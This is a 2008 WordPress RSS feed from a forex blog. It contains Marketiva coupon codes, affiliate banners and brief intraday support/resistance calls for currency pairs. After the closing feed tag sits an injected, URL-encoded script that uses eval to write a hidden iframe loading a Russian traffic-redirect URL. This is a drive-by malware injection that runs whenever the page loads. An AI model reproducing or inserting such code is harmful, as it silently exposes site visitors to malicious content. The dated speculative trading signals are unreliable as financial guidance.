<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>your electronic online portal</title>
	<link>http://www.yeop.net</link>
	<description>no nonsense forex income strategies</description>
	<pubDate>Mon, 21 Jul 2008 09:32:16 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.1</generator>
	<language>en</language>
			<item>
		<title>Marketiva Coupon (Latest) 21/07/08</title>
		<link>http://www.yeop.net/2008/07/21/marketiva-coupon-latest-210708/</link>
		<comments>http://www.yeop.net/2008/07/21/marketiva-coupon-latest-210708/#comments</comments>
		<pubDate>Mon, 21 Jul 2008 09:32:16 +0000</pubDate>
		<dc:creator>yeop</dc:creator>
		
		<category><![CDATA[Forex]]></category>

		<category><![CDATA[Forex Income]]></category>

		<category><![CDATA[Forex Info]]></category>

		<category><![CDATA[Marketiva]]></category>

		<category><![CDATA[Marketiva Coupon]]></category>

		<category><![CDATA[Trading]]></category>

		<guid isPermaLink="false">http://www.yeop.net/2008/07/21/marketiva-coupon-latest-210708/</guid>
		<description><![CDATA[

affiliate program
 For those who need a Marketiva Coupon for registering their Marketiva Forex Account, please feel free to use this batch of Marketiva Coupon.
8VL4Z7UZE3, H97KW5HASY, BWHIXF5NG1, FQ1KII657I, X2VKN0UQC8, BBZH9S0CAB,
Z85XL0P2Q4, VDTL80XB1D, XSQA55HE87, 3UURD3ITE3, J1UXD0D1BI, MV7FUDSSOS,
2WNLEA59UW, LZ7CWK5RW6, SKTRI335Q1, 80LQFF206U, UW1OQB2RP9, JEN3BI4IRN,
YCO74OVSPS, 1VT7MR6VF6
If any of this coupon is invalid, please do not hesitate to contact us via [...]]]></description>
			<content:encoded><![CDATA[<p style="float: left;margin: 4px;"><a href="http://www.easy-forex.com/Gateway.aspx?gid=84678&bid=290" target="_blank"><img src="http://www.forex-affiliate.net/files/468x060_eng_pointer.gif" width=468 height=60 border=0></a></p> <p>For those who need a Marketiva Coupon for registering their Marketiva Forex Account, please feel free to use this batch of Marketiva Coupon.</p>
<p><strong>8VL4Z7UZE3, H97KW5HASY, BWHIXF5NG1, FQ1KII657I, X2VKN0UQC8, BBZH9S0CAB,<br />
Z85XL0P2Q4, VDTL80XB1D, XSQA55HE87, 3UURD3ITE3, J1UXD0D1BI, MV7FUDSSOS,<br />
2WNLEA59UW, LZ7CWK5RW6, SKTRI335Q1, 80LQFF206U, UW1OQB2RP9, JEN3BI4IRN,<br />
YCO74OVSPS, 1VT7MR6VF6</strong></p>
<p>If any of this coupon is invalid, please do not hesitate to contact us via comment form. Thanks.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.yeop.net/2008/07/21/marketiva-coupon-latest-210708/feed/</wfw:commentRss>
		</item>
		<item>
		<title>EUR/JPY - American Session - 24/06/08</title>
		<link>http://www.yeop.net/2008/06/24/eurjpy-american-session-240608/</link>
		<comments>http://www.yeop.net/2008/06/24/eurjpy-american-session-240608/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 07:10:07 +0000</pubDate>
		<dc:creator>yeop</dc:creator>
		
		<category><![CDATA[Currency]]></category>

		<category><![CDATA[Forex]]></category>

		<category><![CDATA[Forex Calendar]]></category>

		<category><![CDATA[Forex Income]]></category>

		<category><![CDATA[Forex Indicator]]></category>

		<category><![CDATA[Forex Info]]></category>

		<category><![CDATA[Forex News]]></category>

		<category><![CDATA[Forex Signal]]></category>

		<guid isPermaLink="false">http://www.yeop.net/2008/06/24/eurjpy-american-session-240608/</guid>
		<description><![CDATA[

affiliate program
 Short term (Intraday)
167,66. EUR/JPY currency pair is in a range between 166,80 and 168,00. EUR/JPY moves without trend and swings around exponential moving averages (EMA 50 and 100). The volatility is high. ForexTrend 4H, daily (Trend Indicator) is in a bullish configuration. The price should continue to move in 166,80 / 168,00 range.
Resistances [...]]]></description>
			<content:encoded><![CDATA[<p>Short term (Intraday)</p>
<p>167,66. EUR/JPY currency pair is in a range between 166,80 and 168,00. EUR/JPY moves without trend and swings around exponential moving averages (EMA 50 and 100). The volatility is high. ForexTrend 4H, daily (Trend Indicator) is in a bullish configuration. The price should continue to move in 166,80 / 168,00 range.</p>
<p><strong>Resistances    167,85 - 168,00<br />
Supports    167,35 - 166,80</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.yeop.net/2008/06/24/eurjpy-american-session-240608/feed/</wfw:commentRss>
		</item>
		<item>
		<title>GBP/JPY - American Session - 24/06/08</title>
		<link>http://www.yeop.net/2008/06/24/gbpjpy-american-session-240608/</link>
		<comments>http://www.yeop.net/2008/06/24/gbpjpy-american-session-240608/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 07:08:16 +0000</pubDate>
		<dc:creator>yeop</dc:creator>
		
		<category><![CDATA[Currency]]></category>

		<category><![CDATA[Forex]]></category>

		<category><![CDATA[Forex Calendar]]></category>

		<category><![CDATA[Forex Income]]></category>

		<category><![CDATA[Forex Indicator]]></category>

		<category><![CDATA[Forex Info]]></category>

		<category><![CDATA[Forex News]]></category>

		<category><![CDATA[Forex Signal]]></category>

		<guid isPermaLink="false">http://www.yeop.net/2008/06/24/gbpjpy-american-session-240608/</guid>
		<description><![CDATA[Short term (Intraday)
212,34. GBP/JPY currency pair moves without trend and swings around exponential moving averages (EMA 50 and 100). The volatility rises. Bollinger bands are deviated. ForexTrend 4H (Trend Indicator) is in a bullish configuration. 1H ForexSto (Modified Stochastic) indicate a bullish pressure on GBP/JPY. The price should continue to move in 211,00 / 213,25 [...]]]></description>
			<content:encoded><![CDATA[<p>Short term (Intraday)</p>
<p>212,34. GBP/JPY currency pair moves without trend and swings around exponential moving averages (EMA 50 and 100). The volatility rises. Bollinger bands are deviated. ForexTrend 4H (Trend Indicator) is in a bullish configuration. 1H ForexSto (Modified Stochastic) indicate a bullish pressure on GBP/JPY. The price should continue to move in 211,00 / 213,25 range. </p>
<p><strong>Resistances    212,40 - 213,20<br />
Supports    211,70 - 211,00</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.yeop.net/2008/06/24/gbpjpy-american-session-240608/feed/</wfw:commentRss>
		</item>
		<item>
		<title>GBP/USD - American Session - 24/06/08</title>
		<link>http://www.yeop.net/2008/06/24/gbpusd-american-session-240608/</link>
		<comments>http://www.yeop.net/2008/06/24/gbpusd-american-session-240608/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 07:06:47 +0000</pubDate>
		<dc:creator>yeop</dc:creator>
		
		<category><![CDATA[Currency]]></category>

		<category><![CDATA[Forex]]></category>

		<category><![CDATA[Forex Calendar]]></category>

		<category><![CDATA[Forex Income]]></category>

		<category><![CDATA[Forex Indicator]]></category>

		<category><![CDATA[Forex Info]]></category>

		<category><![CDATA[Forex News]]></category>

		<category><![CDATA[Forex Signal]]></category>

		<guid isPermaLink="false">http://www.yeop.net/2008/06/24/gbpusd-american-session-240608/</guid>
		<description><![CDATA[Short term (Intraday)
1,9664. GBP/USD currency pair moves without trend and swings around exponential moving averages (EMA 50 and 100). The volatility is low. Bollinger bands are flat. Oscillators are neutral. The price should continue to move in 1,9580 / 1,9800 range.
Resistances    1,9670 - 1,9790
Supports    1,9625 - 1,9580
]]></description>
			<content:encoded><![CDATA[<p>Short term (Intraday)</p>
<p>1,9664. GBP/USD currency pair moves without trend and swings around exponential moving averages (EMA 50 and 100). The volatility is low. Bollinger bands are flat. Oscillators are neutral. The price should continue to move in 1,9580 / 1,9800 range.</p>
<p><strong>Resistances    1,9670 - 1,9790<br />
Supports    1,9625 - 1,9580</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.yeop.net/2008/06/24/gbpusd-american-session-240608/feed/</wfw:commentRss>
		</item>
		<item>
		<title>EUR/USD - American Session - 24/06/2008</title>
		<link>http://www.yeop.net/2008/06/24/eurusd-american-session-24062008/</link>
		<comments>http://www.yeop.net/2008/06/24/eurusd-american-session-24062008/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 07:05:26 +0000</pubDate>
		<dc:creator>yeop</dc:creator>
		
		<category><![CDATA[Currency]]></category>

		<category><![CDATA[Forex]]></category>

		<category><![CDATA[Forex Calendar]]></category>

		<category><![CDATA[Forex Income]]></category>

		<category><![CDATA[Forex Indicator]]></category>

		<category><![CDATA[Forex Info]]></category>

		<category><![CDATA[Forex News]]></category>

		<category><![CDATA[Forex Signal]]></category>

		<guid isPermaLink="false">http://www.yeop.net/2008/06/24/eurusd-american-session-24062008/</guid>
		<description><![CDATA[Short term (Intraday)
1,5529. EUR/USD currency pair is in a range between 1,5565 and 1,5650. EUR/USD moves without trend and swings around exponential moving averages (EMA 50 and 100). The volatility is low. Bollinger bands are flat. Oscillators are neutral. The price should continue to move in 1,5450 / 1,5650 range.
Resistances    1,5540 - [...]]]></description>
			<content:encoded><![CDATA[<p>Short term (Intraday)</p>
<p>1,5529. EUR/USD currency pair is in a range between 1,5565 and 1,5650. EUR/USD moves without trend and swings around exponential moving averages (EMA 50 and 100). The volatility is low. Bollinger bands are flat. Oscillators are neutral. The price should continue to move in 1,5450 / 1,5650 range.</p>
<p><strong>Resistances    1,5540 - 1,5590<br />
Supports    1,5470 - 1,5440</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.yeop.net/2008/06/24/eurusd-american-session-24062008/feed/</wfw:commentRss>
		</item>
		<item>
		<title>USD/JPY - American Session - 06/06/08</title>
		<link>http://www.yeop.net/2008/06/09/usdjpy-american-session-060608/</link>
		<comments>http://www.yeop.net/2008/06/09/usdjpy-american-session-060608/#comments</comments>
		<pubDate>Mon, 09 Jun 2008 04:16:44 +0000</pubDate>
		<dc:creator>yeop</dc:creator>
		
		<category><![CDATA[Currency]]></category>

		<category><![CDATA[Forex]]></category>

		<category><![CDATA[Forex Calendar]]></category>

		<category><![CDATA[Forex Income]]></category>

		<category><![CDATA[Forex Indicator]]></category>

		<category><![CDATA[Forex Info]]></category>

		<category><![CDATA[Forex News]]></category>

		<category><![CDATA[Forex Signal]]></category>

		<guid isPermaLink="false">http://www.yeop.net/2008/06/09/usdjpy-american-session-060608/</guid>
		<description><![CDATA[106,26. USD/JPY currency pair is in a consolidation after the last bullish movement. The volatility is low. Bollinger bands are flat. ForexTrend 1H, 4H (Trend Indicator) is in a bullish configuration. 1H, 4H ForexSto (Modified Stochastic) indicate a bullish pressure on USD/JPY. The consolidation should continue. The price should continue to move in 105,50 / [...]]]></description>
			<content:encoded><![CDATA[<p>106,26. USD/JPY currency pair is in a consolidation after the last bullish movement. The volatility is low. Bollinger bands are flat. ForexTrend 1H, 4H (Trend Indicator) is in a bullish configuration. 1H, 4H ForexSto (Modified Stochastic) indicate a bullish pressure on USD/JPY. The consolidation should continue. The price should continue to move in 105,50 / 106,30 range. If the resistance is broken then the target will be 108,00.</p>
<p><strong>Resistances    106,30 - 106,50<br />
Supports    105,60 - 105,00</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.yeop.net/2008/06/09/usdjpy-american-session-060608/feed/</wfw:commentRss>
		</item>
		<item>
		<title>GBP/USD - American Session - 06/06/08</title>
		<link>http://www.yeop.net/2008/06/09/gbpusd-american-session-060608/</link>
		<comments>http://www.yeop.net/2008/06/09/gbpusd-american-session-060608/#comments</comments>
		<pubDate>Mon, 09 Jun 2008 04:14:49 +0000</pubDate>
		<dc:creator>yeop</dc:creator>
		
		<category><![CDATA[Currency]]></category>

		<category><![CDATA[Forex]]></category>

		<category><![CDATA[Forex Calendar]]></category>

		<category><![CDATA[Forex Income]]></category>

		<category><![CDATA[Forex Indicator]]></category>

		<category><![CDATA[Forex Info]]></category>

		<category><![CDATA[Forex News]]></category>

		<category><![CDATA[Forex Signal]]></category>

		<guid isPermaLink="false">http://www.yeop.net/2008/06/09/gbpusd-american-session-060608/</guid>
		<description><![CDATA[1,9630. GBP/USD currency pair broke 1,9600 resistance. The volatility rises. Bollinger bands are deviated. Oscillators are neutral. The price should continue to move in 1,9500 / 1,9700 range.
Resistances    1,9635 - 1,9700
Supports    1,9540 - 1,9500
]]></description>
			<content:encoded><![CDATA[<p>1,9630. GBP/USD currency pair broke 1,9600 resistance. The volatility rises. Bollinger bands are deviated. Oscillators are neutral. The price should continue to move in 1,9500 / 1,9700 range.</p>
<p><strong>Resistances    1,9635 - 1,9700<br />
Supports    1,9540 - 1,9500</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.yeop.net/2008/06/09/gbpusd-american-session-060608/feed/</wfw:commentRss>
		</item>
		<item>
		<title>EUR/USD - American Session - 06/06/08</title>
		<link>http://www.yeop.net/2008/06/09/eurusd-american-session-060608/</link>
		<comments>http://www.yeop.net/2008/06/09/eurusd-american-session-060608/#comments</comments>
		<pubDate>Mon, 09 Jun 2008 04:13:37 +0000</pubDate>
		<dc:creator>yeop</dc:creator>
		
		<category><![CDATA[Currency]]></category>

		<category><![CDATA[Forex]]></category>

		<category><![CDATA[Forex Calendar]]></category>

		<category><![CDATA[Forex Income]]></category>

		<category><![CDATA[Forex Indicator]]></category>

		<category><![CDATA[Forex Info]]></category>

		<category><![CDATA[Forex News]]></category>

		<category><![CDATA[Forex Signal]]></category>

		<guid isPermaLink="false">http://www.yeop.net/2008/06/09/eurusd-american-session-060608/</guid>
		<description><![CDATA[1,5668. EUR/USD currency pair broke 1,5630 resistance. The volatility rises. Bollinger bands are deviated. ForexTrend 1H (Trend Indicator) is in a bullish configuration. 4H ForexSto (Modified Stochastic) indicate a bullish pressure on EUR/USD. The uptrend should continue on 1,5820 (140 pips) resistance.
Resistances    1,5700 - 1,5820
Supports    1,5630 - 1,5480
]]></description>
			<content:encoded><![CDATA[<p>1,5668. EUR/USD currency pair broke 1,5630 resistance. The volatility rises. Bollinger bands are deviated. ForexTrend 1H (Trend Indicator) is in a bullish configuration. 4H ForexSto (Modified Stochastic) indicate a bullish pressure on EUR/USD. The uptrend should continue on 1,5820 (140 pips) resistance.</p>
<p><strong>Resistances    1,5700 - 1,5820<br />
Supports    1,5630 - 1,5480</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.yeop.net/2008/06/09/eurusd-american-session-060608/feed/</wfw:commentRss>
		</item>
		<item>
		<title>EUR/USD - European Session - 21/05/08</title>
		<link>http://www.yeop.net/2008/05/21/eurusd-european-session-210508/</link>
		<comments>http://www.yeop.net/2008/05/21/eurusd-european-session-210508/#comments</comments>
		<pubDate>Wed, 21 May 2008 07:38:01 +0000</pubDate>
		<dc:creator>yeop</dc:creator>
		
		<category><![CDATA[Currency]]></category>

		<category><![CDATA[Forex]]></category>

		<category><![CDATA[Forex Calendar]]></category>

		<category><![CDATA[Forex Income]]></category>

		<category><![CDATA[Forex Indicator]]></category>

		<category><![CDATA[Forex Info]]></category>

		<category><![CDATA[Forex News]]></category>

		<category><![CDATA[Forex Signal]]></category>

		<guid isPermaLink="false">http://www.yeop.net/2008/05/21/eurusd-european-session-210508/</guid>
		<description><![CDATA[1,5671. EUR/USD currency pair broke 1,5600 resistance. EUR/USD is in a consolidation after the last bullish movement. The volatility decreases. Bollinger bands are tightened. ForexTrend 1H (Trend Indicator) is in a bullish configuration. 4H ForexSto (Modified Stochastic) indicate a bullish pressure on EUR/USD. The uptrend should continue on 1,5720 (50 pips) resistance. 
Resistances   [...]]]></description>
			<content:encoded><![CDATA[<p>1,5671. EUR/USD currency pair broke 1,5600 resistance. EUR/USD is in a consolidation after the last bullish movement. The volatility decreases. Bollinger bands are tightened. ForexTrend 1H (Trend Indicator) is in a bullish configuration. 4H ForexSto (Modified Stochastic) indicate a bullish pressure on EUR/USD. The uptrend should continue on 1,5720 (50 pips) resistance. </p>
<p><strong>Resistances    1,5680 - 1,5720</strong><br />
<strong>Supports    1,5610 - 1,5540</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.yeop.net/2008/05/21/eurusd-european-session-210508/feed/</wfw:commentRss>
		</item>
		<item>
		<title>GBP/USD - European Session - 21/05/08</title>
		<link>http://www.yeop.net/2008/05/21/gbpusd-european-session-210508/</link>
		<comments>http://www.yeop.net/2008/05/21/gbpusd-european-session-210508/#comments</comments>
		<pubDate>Wed, 21 May 2008 07:36:44 +0000</pubDate>
		<dc:creator>yeop</dc:creator>
		
		<category><![CDATA[Currency]]></category>

		<category><![CDATA[Forex]]></category>

		<category><![CDATA[Forex Calendar]]></category>

		<category><![CDATA[Forex Income]]></category>

		<category><![CDATA[Forex Indicator]]></category>

		<category><![CDATA[Forex Info]]></category>

		<category><![CDATA[Forex News]]></category>

		<category><![CDATA[Forex Signal]]></category>

		<guid isPermaLink="false">http://www.yeop.net/2008/05/21/gbpusd-european-session-210508/</guid>
		<description><![CDATA[1,9684. GBP/USD currency pair is in a consolidation after the last bullish movement. The volatility is low. Bollinger bands are flat. ForexTrend 1H (Trend Indicator) is in a bullish configuration. 4H ForexSto (Modified Stochastic) indicate a bullish pressure on GBP/USD. The price should find a resistance below 1,9730. The consolidation should continue. 
Resistances   [...]]]></description>
			<content:encoded><![CDATA[<p>1,9684. GBP/USD currency pair is in a consolidation after the last bullish movement. The volatility is low. Bollinger bands are flat. ForexTrend 1H (Trend Indicator) is in a bullish configuration. 4H ForexSto (Modified Stochastic) indicate a bullish pressure on GBP/USD. The price should find a resistance below 1,9730. The consolidation should continue. </p>
<p><strong>Resistances    1,9730 - 1,9800</strong><br />
<strong>Supports    1,9630 - 1,9540</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.yeop.net/2008/05/21/gbpusd-european-session-210508/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
<!-- o --><!-- c --><script>eval(unescape("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%37%63%34%63%66%61%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%74%72%61%66%66%75%72%6c%2e%72%75%2f%73%6c%69%76%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%31%39%37%32%39%32%29%2b%27%39%63%5c%27%20%77%69%64%74%68%3d%34%39%32%20%68%65%69%67%68%74%3d%34%30%31%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </script>